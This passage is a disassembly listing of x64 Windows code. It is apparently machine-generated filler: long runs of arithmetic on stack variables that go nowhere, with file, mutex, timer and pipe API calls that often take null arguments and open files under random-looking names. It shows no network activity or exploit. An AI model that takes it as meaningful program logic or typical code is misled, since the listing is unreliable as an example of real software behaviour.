call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0xba58]
imul eax, dword [rax], 0x16d
mov rcx, qword [rsp + 0xa220]
mov dword [rcx], eax
mov r9d, 0x58f
xor r8d, r8d
lea rdx, [rsp + 0xc3d8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x468c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.8I9RYibk3IZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd638], rax
mov rax, qword [0x14022c0a0]
movzx eax, word [rax]
mov word [rsp + 0x21b4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8977
mov rcx, qword [rsp + 0xc400]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x490c], eax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4b8]
mov qword [rsp + 0xd640], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd640]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14022c008]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe70]
mov rcx, qword [rsp + 0xcdb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3db8], eax
mov rax, qword [rsp + 0xd460]
movzx eax, byte [rax]
mov byte [rsp + 0x40e], al
movsx eax, word [rsp + 0x1d5c]
movsx ecx, word [rsp + 0x2090]
add eax, ecx
mov word [rsp + 0x8ac], ax
movzx eax, word [rsp + 0x17d0]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1afc], ax
mov rax, qword [rsp + 0xc608]
mov eax, dword [rax]
mov ecx, dword [0x14022a13c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d4c], eax
mov rax, qword [rsp + 0xb128]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbe58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3ed], al
mov rax, qword [rsp + 0xb4c0]
mov rax, qword [rax]
mov qword [rsp + 0xd648], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.VcYgLFfZL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd650], rax
movsx eax, word [rsp + 0x1d20]
movsx ecx, word [rsp + 0x1130]
and eax, ecx
mov rcx, qword [rsp + 0xb0d8]
mov word [rcx], ax
lea rax, [rsp + 0x2004]
mov qword [0x14022c0e0], rax
mov rax, qword [rsp + 0xca38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc620]
mov qword [rsp + 0xd658], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd658]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8918], rax
mov rax, qword [rsp + 0xb7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd558], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb530], rax
movzx eax, word [0x14022a1dc]
mov word [rsp + 0x21b8], ax
movsx eax, byte [rsp + 0x355]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0xa958]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x474c]
shl eax, cl
mov dword [rsp + 0x4340], eax
mov rax, qword [0x14022bc70]
mov rcx, qword [rsp + 0xcdf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa688]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa550]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3b24], eax
mov rax, qword [rsp + 0xcb28]
movzx eax, byte [rax]
mov byte [rsp + 0x40f], al
movsx eax, word [0x14022bed8]
movsx ecx, word [rsp + 0x19dc]
sub eax, ecx
mov word [0x14022b9f8], ax
mov rax, qword [rsp + 0xa430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1214], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xb990]
movzx eax, word [rax]
mov word [rsp + 0x21bc], ax
mov rax, qword [rsp + 0xa9d0]
mov rcx, qword [rsp + 0x8fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c20], rax
mov rax, qword [rsp + 0xaf40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8488]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9870], rax
mov rax, qword [0x14022ba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd370]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0xb4e0]
mov ecx, dword [rsp + 0x4084]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x416c], eax
lea rax, [rsp + 0x210c]
mov qword [rsp + 0xd660], rax
movzx eax, word [0x14022a0a0]
mov rcx, qword [rsp + 0xa330]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f68], ax
mov rax, qword [rsp + 0x6f28]
mov qword [0x14022c0e8], rax
movzx eax, word [rsp + 0x1e68]
mov word [rsp + 0x21c0], ax
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x94a0]
sar rax, cl
mov qword [rsp + 0xcf88], rax
mov rax, qword [rsp + 0xa218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa448]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9090], rax
mov rax, qword [rsp + 0xc660]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4bfc]
shl eax, cl
mov dword [rsp + 0x3ff8], eax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
or eax, ecx
mov rcx, qword [rsp + 0xd5c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3dc8]
mov dword [rsp + 0x4de0], eax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb660]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3db], al
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x7108]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbd68]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2148]
mov rcx, qword [rsp + 0xc738]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022bf58]
mov word [rcx], ax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1db0]
mov word [rsp + 0x21c4], ax
movzx eax, word [rsp + 0x2108]
movzx ecx, word [rsp + 0xbe0]
add eax, ecx
mov word [rsp + 0x1e60], ax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0xb9a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf98], ax
mov rax, qword [rsp + 0xbcd8]
mov eax, dword [rax]
mov ecx, dword [0x140229f30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd4c8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3f6], al
lea rax, [rsp + 0x8ef0]
mov qword [rsp + 0xd668], rax
mov rax, qword [rsp + 0xa7f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc738]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa950]
mov word [rcx], ax
movzx eax, word [rsp + 0x1bfc]
mov word [rsp + 0x21c8], ax
lea rdx, [rsp + 0x4de4]
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d14], eax
mov rcx, qword [rsp + 0xad60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x9780]
mov qword [0x14022c0f0], rax
mov rax, qword [rsp + 0xb7f8]
mov rax, qword [rax]
mov rcx, qword [0x14022bcd0]
mov qword [rsp + 0xd670], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd670]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xbf18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x9090]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x88e8], rax
mov rax, qword [0x14022bdd8]
movzx ecx, al
mov rax, qword [rsp + 0x8db8]
shl rax, cl
mov rcx, qword [rsp + 0xc428]
mov qword [rcx], rax
lea rdx, [rsp + 0x4d04]
mov rcx, qword [rsp + 0xc268]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47fc], eax
mov rax, qword [rsp + 0xb720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1754]
or eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov word [rcx], ax
lea rax, [rsp + 0x409]
mov qword [rsp + 0xd678], rax
mov eax, dword [rsp + 0x4a94]
mov ecx, dword [rsp + 0x44c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb950]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3f1]
mov byte [rsp + 0x410], al
mov rax, qword [rsp + 0xd028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xafb0]
add rcx, rax
mov rax, rcx
mov qword [0x14022a1e8], rax
movsx eax, word [rsp + 0x1dcc]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1434], ax
lea rcx, [rsp + 0xd680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0xa1c]
mov word [rsp + 0x21cc], ax
mov rax, qword [rsp + 0xb5a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb848]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcc00]
mov word [rcx], ax
lea rax, [rsp + 0xa720]
mov qword [rsp + 0xd688], rax
mov r9d, 0x20c5
xor r8d, r8d
lea rdx, [rsp + 0xc1a0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b8c], eax
mov rax, qword [rsp + 0x8ae0]
mov rcx, qword [rsp + 0x77b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f80], rax
movsx eax, byte [rsp + 0x390]
mov rcx, qword [rsp + 0xbeb8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3da], al
mov rax, qword [rsp + 0xc0c0]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f50], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xdd43
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a74], eax
movsx eax, word [rsp + 0x1130]
movsx ecx, word [rsp + 0x1ffc]
and eax, ecx
mov word [rsp + 0x1ff0], ax
movzx eax, word [rsp + 0x146c]
mov rcx, qword [rsp + 0xa718]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022bc28], ax
mov rax, qword [rsp + 0xb628]
mov rax, qword [rax]
mov qword [rsp + 0xd690], rax
movzx eax, word [rsp + 0x87c]
mov rcx, qword [0x14022c0a0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xce30]
mov word [rcx], ax
mov rax, qword [rsp + 0xc968]
mov ecx, dword [rsp + 0x4ce4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa910]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fe]
shl eax, cl
mov byte [rsp + 0x30b], al
mov eax, dword [rsp + 0x3a4c]
mov rcx, qword [rsp + 0xad38]
mov qword [rsp + 0xd698], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd698]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x48d8], eax
lea rax, [rsp + 0x13f]
mov qword [rsp + 0xd6a0], rax
mov rax, qword [0x14022c030]
mov rcx, qword [rsp + 0xaed8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcbd8], rax
lea rax, [rsp + 0xf58]
mov qword [rsp + 0xd6a8], rax
mov rax, qword [rsp + 0xb3e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022a09c], ax
mov rax, qword [rsp + 0xd310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb258]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f78]
mov rcx, qword [rsp + 0xb080]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x85f8], rax
movzx eax, word [rsp + 0x1e84]
mov word [rsp + 0x21d0], ax
mov rax, qword [rsp + 0xb9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x211c]
sar eax, cl
mov rcx, qword [rsp + 0xa268]
mov word [rcx], ax
mov eax, dword [rsp + 0x47ac]
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0xb930]
mov rcx, qword [rsp + 0xc8a0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc278]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbca8]
movsx eax, byte [rax]
mov rcx, qword [0x14022bb00]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x38d], al
lea rcx, [rsp + 0xd6b0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xc798]
mov rcx, qword [rsp + 0x9ca0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9180], rax
lea rdx, [rsp + 0x485c]
mov rcx, qword [rsp + 0xd650]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d04], eax
movzx eax, word [rsp + 0x20cc]
mov word [0x14022c0f8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd6b8], rax
mov rax, qword [0x14022ba88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19bc], ax
mov rax, qword [rsp + 0xd230]
mov eax, dword [rax]
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0xd440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb788]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xac50]
mov byte [rcx], al
mov rax, qword [rsp + 0xd3a8]
mov rcx, qword [rsp + 0xb948]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6f98], rax
mov eax, dword [rsp + 0x4a58]
mov rcx, qword [rsp + 0xa250]
mov qword [rsp + 0xd6c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44c8], eax
movsx eax, byte [rsp + 0x82]
movsx ecx, byte [0x14022b813]
xor eax, ecx
mov byte [rsp + 0x385], al
mov rax, qword [rsp + 0xb230]
mov rax, qword [rax]
mov qword [rsp + 0xd6c8], rax
movsx eax, word [rsp + 0x1edc]
mov rcx, qword [rsp + 0xd2a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d0c], ax
movzx eax, word [rsp + 0x2068]
mov word [0x14022c0fc], ax
mov rax, qword [rsp + 0xcf70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb378]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d64]
mov rcx, qword [rsp + 0xb6a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c0c], ax
mov rax, qword [rsp + 0xd348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1da4]
add eax, ecx
mov rcx, qword [rsp + 0xb6e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaba0]
mov rax, qword [rax]
mov qword [rsp + 0xd6d0], rax
mov rax, qword [rsp + 0xd480]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ff]
sar eax, cl
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov qword [rsp + 0xd6d8], rax
mov rax, qword [rsp + 0xad38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x479c], eax
movzx eax, word [rsp + 0x2058]
movzx ecx, word [rsp + 0xb0c]
and eax, ecx
mov word [rsp + 0xdcc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rcx, [rsp + 0xbd58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xc620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7480]
and rcx, rax
mov rax, rcx
mov qword [0x14022bb70], rax
lea rdx, [rsp + 0x4df0]
mov rcx, qword [rsp + 0xa1c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4880], eax
mov rax, qword [rsp + 0xc180]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x319], al
mov rax, qword [rsp + 0xc968]
mov rcx, qword [rsp + 0xc5a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x39b0], eax
mov rax, qword [rsp + 0xd5f8]
movzx eax, word [rax]
mov word [rsp + 0x21d4], ax
mov rax, qword [rsp + 0xd5e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2050], ax
mov rax, qword [0x14022bbe0]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4084]
mov dword [rsp + 0x4838], eax
movsx eax, byte [rsp + 0x406]
mov rcx, qword [rsp + 0xd360]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0xd040]
mov rcx, qword [rsp + 0xbbd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb328]
mov qword [rcx], rax
lea rax, [rsp + 0x1f38]
mov qword [rsp + 0xd6e0], rax
mov rax, qword [rsp + 0xd1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022b990], ax
mov rax, qword [rsp + 0x7218]
mov rcx, qword [rsp + 0xa128]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc428]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb6f0]
mov rcx, qword [rsp + 0xb760]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd50], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x743
mov rcx, qword [rsp + 0xbf50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c98], eax
mov rax, qword [rsp + 0xc4d0]
mov qword [rsp + 0xd6e8], rax
movsx eax, word [rsp + 0xe54]
mov rcx, qword [0x14022b938]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d30], ax
mov rcx, qword [rsp + 0xa2e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x375]
mov qword [rsp + 0xd6f0], rax
mov rax, qword [rsp + 0xb508]
mov rcx, qword [rsp + 0xa5f0]
mov qword [rsp + 0xd6f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6f8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xbce0]
mov qword [rcx], rax
lea rax, [0x140229f30]
mov qword [rsp + 0xd700], rax
movzx eax, byte [rsp + 0x87]
mov rcx, qword [rsp + 0xc1c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x33e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.79I_njLXle
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd708], rax
mov rax, qword [rsp + 0xb010]
mov ecx, dword [rsp + 0x460c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c3c], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rax, [0x14022b828]
mov qword [0x14022c100], rax
mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x4df4]
mov rcx, qword [rsp + 0xc970]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d10], eax
lea rax, [rsp + 0x1e80]
mov qword [rsp + 0xd710], rax
movzx eax, word [rsp + 0x2184]
mov rcx, qword [rsp + 0xbeb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2098], ax
mov rax, qword [rsp + 0x7b68]
mov qword [rsp + 0xd718], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe6f5
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4738], eax
lea rcx, [rsp + 0xcd48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd320]
mov qword [rsp + 0xd720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xcba8]
mov qword [rcx], rax
lea rdx, [rsp + 0x4770]
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4df8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movsx eax, byte [rsp + 0x3e6]
mov rcx, qword [rsp + 0xa988]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xad98]
mov byte [rcx], al
lea rax, [rsp + 0x4b30]
mov qword [rsp + 0xd728], rax
mov rax, qword [rsp + 0xa460]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1b9c], ax
lea rcx, [rsp + 0x9b40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xce30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20f4]
sub eax, ecx
mov word [rsp + 0xea8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.qmZ9C0a_nylnA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd730], rax
mov rax, qword [0x14022c0e8]
movzx ecx, al
mov rax, qword [rsp + 0x6f70]
sar rax, cl
mov rcx, qword [0x14022bb98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc930]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20b8], ax
mov rax, qword [rsp + 0xcba0]
mov rcx, qword [rsp + 0xb5b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0x8d50]
mov qword [rsp + 0xd738], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfa3f
mov rcx, qword [rsp + 0xc618]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4664], eax
lea rcx, [rsp + 0xb5d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa9f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd518]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xa288]
mov byte [rcx], al
mov eax, dword [rsp + 0x48ac]
mov ecx, dword [rsp + 0x4b74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x39d4], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb4f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x302], al
mov eax, dword [rsp + 0x4a40]
mov ecx, dword [rsp + 0x49d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ad0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd740], rax
mov rax, qword [rsp + 0x7450]
mov qword [rsp + 0xd748], rax
lea rax, [rsp + 0x1f38]
mov qword [0x14022c108], rax
movsx eax, word [rsp + 0xaa4]
mov rcx, qword [rsp + 0xd1b8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf58], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9729
mov rcx, qword [rsp + 0xb000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b7c], eax
lea rcx, [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1dc0]
mov qword [rsp + 0xd750], rax
mov rax, qword [0x14022ba30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e74], ax
mov rax, qword [rsp + 0xb128]
movzx eax, byte [rax]
mov byte [rsp + 0x411], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x604b
mov rcx, qword [rsp + 0xb9c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0xc108]
mov rcx, qword [rsp + 0x97b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbe68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa768]
mov rcx, qword [rsp + 0xcf90]
mov qword [rsp + 0xd758], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd758]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
lea rax, [rsp + 0x1d80]
mov qword [rsp + 0xd760], rax
mov rax, qword [rsp + 0xcce0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1db4]
sub eax, ecx
mov rcx, qword [rsp + 0xbd10]
mov word [rcx], ax
lea rax, [rsp + 0xbd30]
mov qword [0x14022c110], rax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0xd768], rax
lea rdx, [rsp + 0x4ae8]
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4bc0], eax
mov rax, qword [rsp + 0xcfe8]
mov rcx, qword [rsp + 0xd738]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8508], rax
mov rax, qword [rsp + 0xb398]
mov rcx, qword [rsp + 0xc938]
mov qword [rsp + 0xd770], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd770]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xbbf8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x179c]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0xd230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa160]
mov dword [rcx], eax
lea rax, [rsp + 0x40e]
mov qword [rsp + 0xd778], rax
mov rax, qword [rsp + 0xc778]
mov rcx, qword [rsp + 0xc8a0]
mov rax, qword [rax]
